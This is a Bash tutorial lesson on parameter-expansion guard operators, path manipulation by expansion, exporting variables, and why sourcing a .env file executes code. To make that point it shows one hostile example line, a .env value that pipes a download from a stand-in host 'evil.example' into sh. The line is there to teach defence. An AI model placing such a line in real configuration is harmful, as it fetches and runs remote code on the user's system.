Lesson 4 of 14 · 14m
Parameter Expansion and the Environment
The ${var:?}/${var:-} guard operators, expansion as a text tool, what export really crosses, and why source .env executes code.
Every deploy script that has ever deleted production had a variable in it. rm -rf "$DATA_DIR/"*, rsync "$SRC/" "$DST", curl -H "Authorization: Bearer $TOKEN". Bash gives you roughly thirty parameter-expansion operators; the five that matter are the ones that decide what happens when a variable is empty. The rest of this lesson is the environment — what export actually does and why source .env is a bigger decision than it looks.
The four operators that guard you
${VAR:-default} # use default if unset or empty — VAR itself unchanged
${VAR:=default} # use default AND assign it to VAR
${VAR:?message} # abort the script with message if unset or empty
${VAR:+alt} # use alt only when VAR is set and non-emptyThe colon variants test unset-or-empty; dropping the colon (${VAR-default}) tests only unset. You almost always want the colon — an empty string is usually as broken as missing.
${VAR:?} is the assert. : "${DATA_DIR:?DATA_DIR must be set}" at the top of a destructive path is the single cheapest piece of safety engineering in this course — the : builtin does nothing but expand its arguments, so the line exists purely to explode early with a readable message. Compare with set -u, which catches every unset variable but reports unbound variable with no context.
Expansion as a text tool
file="/var/log/app-2026-11-16.log"
${file#/var/log/} # strip shortest prefix → app-2026-11-16.log
${file##*/} # strip longest prefix → basename
${file%.log} # strip suffix → /var/log/app-2026-11-16
${file%%.*} # greedy suffix strip → /var/log/app-2026-11-16 (first dot)
${file/app/db} # replace first match → /var/log/db-2026-11-16.log
${file//app/db} # replace all matches
${file:0:8} # substring → /var/log
${#file} # length → 27These are why you don't need basename, dirname, or sed for path surgery — each of those forks a process; expansion is free. ${file##*/} and ${file%/*} are your basename/dirname. Note the greedy rule: ##/%% take the longest match, #/% the shortest. ${file%%.*} strips from the first dot, which is how backup.tar.gz loses both extensions at once.
Indirect expansion — ${!name} where name=PATH yields $PATH's value — is legal and occasionally the right tool (a config that names a variable). Treat it like eval's polite cousin: fine for a fixed vocabulary, never for untrusted input.
Shell variables versus the environment
A variable is private to your shell until you export it. FOO=bar; sh -c 'echo $FOO' prints nothing — the child got a copy of the environment, and FOO wasn't in it. Three ways across the boundary:
FOO=bar sh -c 'echo $FOO' # prefix form: exported for this one command
export FOO=bar # exported for every child from now on
env FOO=bar sh -c ... # same as prefix, via /usr/bin/envThe prefix form is the underrated one — PATH=/usr/bin:/bin sudo -n cmd, LC_ALL=C sort — scoped to a single invocation, no lasting mutation. LC_ALL=C before text tools is also a real performance trick: sort and grep skip UTF-8 collation work, which is measurable on large inputs.
readonly CONFIG=prod makes a variable immutable — use it for values a bug must not change mid-run. declare -i retries=3 makes arithmetic assignment sane (retries+=1 adds, not concatenates); declare -l lowercases input, useful for normalizing yes/YES/Yes.
.env files are code
set -a; source ./.env; set +a # load every line as an exported variableThis idiom is everywhere — and it executes the file. .env containing API_KEY=$(curl evil.example | sh) runs the payload. set -a (allexport) marks every assignment created while it's on as exported; set +a turns it off. Two rules follow: only source files you own, and know that the format is shell, not a data file — KEY=value works, export KEY=value works, KEY = value fails because the spaces make it a command named KEY.
For config you don't control, parse it as data — while IFS== read -r k v — or hand it to systemd's EnvironmentFile=, which does name=value parsing without execution.
Try this
unset LOG_DIR
echo "${LOG_DIR:-/var/log}" # prints /var/log
LOG_DIR= ./check.sh # vs. unset: prefix export of empty
: "${LOG_DIR:?set LOG_DIR first}"Then run FOO=a sh -c 'echo $FOO' and FOO=a; sh -c 'echo $FOO' back to back — one prints, one doesn't. The difference is the environment boundary, and it will explain every "works interactively, empty in cron" bug you ever meet.
Pitfalls
${VAR:=default}inside a function mutates the caller's variable — sometimes a feature, often a surprise.export SECRET=hunter2in a script exports to children but also leaks intops eoutput on some systems and every child'senviron— preferEnvironmentFile=or reading a0600file.CDPATH,GLOBIGNORE,BASH_ENV— exported "helpful" variables change child behavior invisibly.BASH_ENVin particular: a non-interactive bash reads it before your script. Don't export it.${var^^}and${var,,}case-conversion need Bash 4+;${var^}capitalizes the first char only.
Was this lesson helpful?
Keep reading
Related articles from the SudoSecurity blog.
Red Hat Called This Bug a 5.9. Two Weeks Later It Was a 9.8.
CVE-2026-98432 is a use-after-free in the IPv4 TCP handshake, reachable by anybody who can reach a listening port, sitting in the kernel since 4.4. Red Hat scored it 5.9 moderate and deferred the fix. Then 8.1. Then 9.8.
Self-Host OpenClaw: VPS Setup to Production (2026)
Self-host OpenClaw from zero to production. Server provisioning, SSH lockdown, Docker, reverse proxy, Fail2ban, performance tuning, and full backup strategy in one guide.
Self-Hosting Prometheus and Grafana: Infrastructure Monitoring That Actually Works
Build a production-grade monitoring stack with Prometheus and Grafana from scratch. Covers architecture, Docker Compose deployment, Node Exporter, alerting with Alertmanager, PromQL from basics to advanced, pre-built dashboards, and everything SudoSecurity uses to monitor its own infrastructure.
Zero Trust Everything: The Complete Guide to Self-Hosting Teleport for Secure Infrastructure Access
SudoSecurity runs Teleport internally for everything — admin panel access, secure database connections, Kubernetes, and zero-trust philosophy across our entire team. This is the complete technical guide to installing, configuring, and running your own self-hosted Teleport cluster from scratch.